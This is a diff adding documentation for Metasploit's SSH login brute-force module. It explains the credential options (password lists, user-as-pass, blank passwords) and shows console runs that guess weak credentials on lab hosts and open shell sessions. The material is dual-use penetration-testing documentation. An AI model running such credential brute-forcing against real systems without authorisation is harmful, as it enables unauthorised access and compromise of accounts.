|
| 1 | +## SSH Service |
| 2 | + |
| 3 | + SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators. |
| 4 | + This module attempts to login to SSH with username and password combinations. For public/private SSH keys, please use `auxiliary/scanner/ssh/ssh_login_pubkey`. |
| 5 | + It should be noted that some modern Operating Systems have default configurations to not allow the `root` user to remotely login via SSH, or to only allow `root` to login with an SSH key login. |
| 6 | + |
| 7 | +## Verification Steps |
| 8 | + |
| 9 | + 1. Install SSH and start it. |
| 10 | + 2. Start msfconsole |
| 11 | + 3. Do: ` use auxiliary/scanner/ssh/ssh_login` |
| 12 | + 4. Do: `set rhosts` |
| 13 | + 5. Do: set usernames and passwords via any of the available options |
| 14 | + 5. Do: `run` |
| 15 | + 6. You will hopefully see something similar to, followed by a session: |
| 16 | + |
| 17 | + ````[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '``` |
| 18 | + |
| 19 | +## Options |
| 20 | + |
| 21 | + **BLANK_PASSWORD** |
| 22 | + |
| 23 | + Boolean value on if an additional login attempt should be attempted with an empty password for every user. |
| 24 | + |
| 25 | + **PASSWORD** |
| 26 | + |
| 27 | + Password to try for each user. |
| 28 | + |
| 29 | + **PASS_FILE** |
| 30 | + |
| 31 | + A file containing a password on every line. Kali linux example: `/usr/share/wordlists/metasploit/password.lst` |
| 32 | + |
| 33 | + **RHOSTS** |
| 34 | + |
| 35 | + Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file://root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2` |
| 36 | + |
| 37 | + **STOP_ON_SUCCESS** |
| 38 | + |
| 39 | + If a valid login is found on a host, immediately stop attempting additional logins on that host. |
| 40 | + |
| 41 | + **USERNAME** |
| 42 | + |
| 43 | + Username to try for each password. |
| 44 | + |
| 45 | + **USERPASS_FILE** |
| 46 | + |
| 47 | + A file containing a username and password, separated by a space, on every line. An example line would be `username password` |
| 48 | + |
| 49 | + **USER_AS_PASS** |
| 50 | + |
| 51 | + Boolean value on if an additional login attempt should be attempted with the password as the username. |
| 52 | + |
| 53 | + **USER_FILE** |
| 54 | + |
| 55 | + A file containing a username on every line. |
| 56 | + |
| 57 | + **VERBOSE** |
| 58 | + |
| 59 | + Show a failed login attempt. This can get rather verbose when large `USER_FILE`s or `PASS_FILE`s are used. A failed attempt will look similar to the following: |
| 60 | + |
| 61 | + ``` |
| 62 | + [-] SSH - Failed: 'msfadmin:virtual' |
| 63 | + ``` |
| 64 | + |
| 65 | +## Option Combinations |
| 66 | + |
| 67 | +It is important to note that usernames and passwords can be entered in multiple combinations. For instance, a password could be set in `PASSWORD`, be part of either `PASS_FILE` or `USERPASS_FILE`, be guessed via `USER_AS_PASS` or `BLANK_PASSWORDS`. |
| 68 | +This module makes a combination of all of the above when attempting logins. So if a password is set in `PASSWORD`, and a `PASS_FILE` is listed, passwords will be generated from BOTH of these. |
| 69 | + |
| 70 | +## Scenarios |
| 71 | + |
| 72 | + Example run against: |
| 73 | + * Ubuntu 14.04 Server with root login permitted: 192.168.2.156 |
| 74 | + * Ubuntu 16.04 Server: 192.168.2.137 |
| 75 | + * Metasploitable: 192.168.2.46 |
| 76 | + * Metasploitable 2: 192.168.2.35 |
| 77 | + |
| 78 | +``` |
| 79 | +msf > use auxiliary/scanner/ssh/ssh_login |
| 80 | +msf auxiliary(ssh_login) > cat /root/ssh_passwords.lst |
| 81 | +[*] exec: cat /root/ssh_passwords.lst |
| 82 | +
|
| 83 | +msfadmin |
| 84 | +badpassword |
| 85 | +root |
| 86 | +ubuntu |
| 87 | +
|
| 88 | +msf auxiliary(ssh_login) > set pass_file /root/ssh_passwords.lst |
| 89 | +pass_file => /root/ssh_passwords.lst |
| 90 | +msf auxiliary(ssh_login) > cat /root/ssh_un.lst |
| 91 | +[*] exec: cat /root/ssh_un.lst |
| 92 | +
|
| 93 | +msfadmin |
| 94 | +badpassword |
| 95 | +root |
| 96 | +ubuntu |
| 97 | +
|
| 98 | +msf auxiliary(ssh_login) > set user_file /root/ssh_un.lst |
| 99 | +user_file => /root/ssh_un.lst |
| 100 | +msf auxiliary(ssh_login) > cat /root/ssh_hosts.lst |
| 101 | +[*] exec: cat /root/ssh_hosts.lst |
| 102 | +
|
| 103 | +192.168.2.156 |
| 104 | +192.168.2.137 |
| 105 | +192.168.2.35 |
| 106 | +192.168.2.46 |
| 107 | +msf auxiliary(ssh_login) > set rhosts file://root/ssh_hosts.lst |
| 108 | +rhosts => file://root/ssh_hosts.lst |
| 109 | +msf auxiliary(ssh_login) > set verbose false |
| 110 | +verbose => false |
| 111 | +msf auxiliary(ssh_login) > set threads 4 |
| 112 | +threads => 4 |
| 113 | +msf auxiliary(ssh_login) > exploit |
| 114 | +
|
| 115 | +[*] SSH - Starting bruteforce |
| 116 | +[*] SSH - Starting bruteforce |
| 117 | +[*] SSH - Starting bruteforce |
| 118 | +[*] SSH - Starting bruteforce |
| 119 | +[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' |
| 120 | +[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' |
| 121 | +[*] Command shell session 5 opened (192.168.2.117:44415 -> 192.168.2.46:22) at 2017-02-22 20:26:13 -0500 |
| 122 | +[*] Command shell session 6 opened (192.168.2.117:36107 -> 192.168.2.35:22) at 2017-02-22 20:26:13 -0500 |
| 123 | +[+] SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' |
| 124 | +[*] Command shell session 7 opened (192.168.2.117:32829 -> 192.168.2.156:22) at 2017-02-22 20:26:35 -0500 |
| 125 | +[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' |
| 126 | +[*] Command shell session 8 opened (192.168.2.117:42205 -> 192.168.2.156:22) at 2017-02-22 20:26:42 -0500 |
| 127 | +[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' |
| 128 | +[*] Command shell session 9 opened (192.168.2.117:37027 -> 192.168.2.137:22) at 2017-02-22 20:26:44 -0500 |
| 129 | +[*] Scanned 3 of 4 hosts (75% complete) |
| 130 | +[*] Scanned 4 of 4 hosts (100% complete) |
| 131 | +[*] Auxiliary module execution completed |
| 132 | +msf auxiliary(ssh_login) > sessions -l |
| 133 | +
|
| 134 | +Active sessions |
| 135 | +=============== |
| 136 | +
|
| 137 | + Id Type Information Connection |
| 138 | + -- ---- ----------- ---------- |
| 139 | + 5 shell /linux SSH msfadmin:msfadmin (192.168.2.46:22) 192.168.2.117:44415 -> 192.168.2.46:22 (192.168.2.46) |
| 140 | + 6 shell /linux SSH msfadmin:msfadmin (192.168.2.35:22) 192.168.2.117:36107 -> 192.168.2.35:22 (192.168.2.35) |
| 141 | + 7 shell /linux SSH root:ubuntu (192.168.2.156:22) 192.168.2.117:32829 -> 192.168.2.156:22 (192.168.2.156) |
| 142 | + 8 shell /linux SSH ubuntu:ubuntu (192.168.2.156:22) 192.168.2.117:42205 -> 192.168.2.156:22 (192.168.2.156) |
| 143 | + 9 shell /linux SSH ubuntu:ubuntu (192.168.2.137:22) 192.168.2.117:37027 -> 192.168.2.137:22 (192.168.2.137) |
| 144 | +``` |
| 145 | + |
| 146 | + Example run against: |
| 147 | + * Windows 10 w/ Linux Subsystem |
| 148 | + |
| 149 | +``` |
| 150 | +msf > use auxiliary/scanner/ssh/ssh_login |
| 151 | +msf auxiliary(ssh_login) > set rhosts 192.168.2.140 |
| 152 | +rhosts => 192.168.2.140 |
| 153 | +msf auxiliary(ssh_login) > set username winuser |
| 154 | +username => winuser |
| 155 | +msf auxiliary(ssh_login) > set password "badpassword" |
| 156 | +password => badpassword |
| 157 | +msf auxiliary(ssh_login) > exploit |
| 158 | +
|
| 159 | +[*] SSH - Starting bruteforce |
| 160 | +[+] SSH - Success: 'winuser:badpassword' '' |
| 161 | +[!] No active DB -- Credential data will not be saved! |
| 162 | +[*] Command shell session 1 opened (192.168.2.117:42227 -> 192.168.2.140:22) at 2017-02-22 20:40:12 -0500 |
| 163 | +[*] Scanned 1 of 1 hosts (100% complete) |
| 164 | +[*] Auxiliary module execution completed |
| 165 | +msf auxiliary(ssh_login) > sessions -l |
| 166 | +
|
| 167 | +Active sessions |
| 168 | +=============== |
| 169 | +
|
| 170 | + Id Type Information Connection |
| 171 | + -- ---- ----------- ---------- |
| 172 | + 1 shell / SSH winuser:badpassword (192.168.2.140:22) 192.168.2.117:42227 -> 192.168.2.140:22 (192.168.2.140) |
| 173 | +
|
| 174 | +``` |
| 175 | + |
| 176 | + Example run against: |
| 177 | + * Windows 10 w/ Bitvise SSH Server (WinSSHD) version 7.26-r2 and a virtual account created |
| 178 | + |
| 179 | + It is important to note here that the module gives back a **Success**, but then errors when trying to identify the remote system. |
| 180 | + This should be enough info to manually exploit via a regular SSH command. |
| 181 | + |
| 182 | +``` |
| 183 | +msf > use auxiliary/scanner/ssh/ssh_login |
| 184 | +msf auxiliary(ssh_login) > set rhosts 192.168.2.140 |
| 185 | +rhosts => 192.168.2.140 |
| 186 | +msf auxiliary(ssh_login) > set username virtual |
| 187 | +username => virtual |
| 188 | +msf auxiliary(ssh_login) > set password virtual |
| 189 | +password => virtual |
| 190 | +msf auxiliary(ssh_login) > exploit |
| 191 | +
|
| 192 | +[*] SSH - Starting bruteforce |
| 193 | +[+] SSH - Success: 'virtual:virtual' 'id: Command not found. help ?: Command not found. ' |
| 194 | +[!] No active DB -- Credential data will not be saved! |
| 195 | +[*] 192.168.2.140 - Command shell session 4 closed. Reason: Died from EOFError |
| 196 | +[*] Command shell session 4 opened (192.168.2.117:36169 -> 192.168.2.140:22) at 2017-02-22 21:20:24 -0500 |
| 197 | +[*] Scanned 1 of 1 hosts (100% complete) |
| 198 | +[*] Auxiliary module execution completed |
| 199 | +``` |
0 commit comments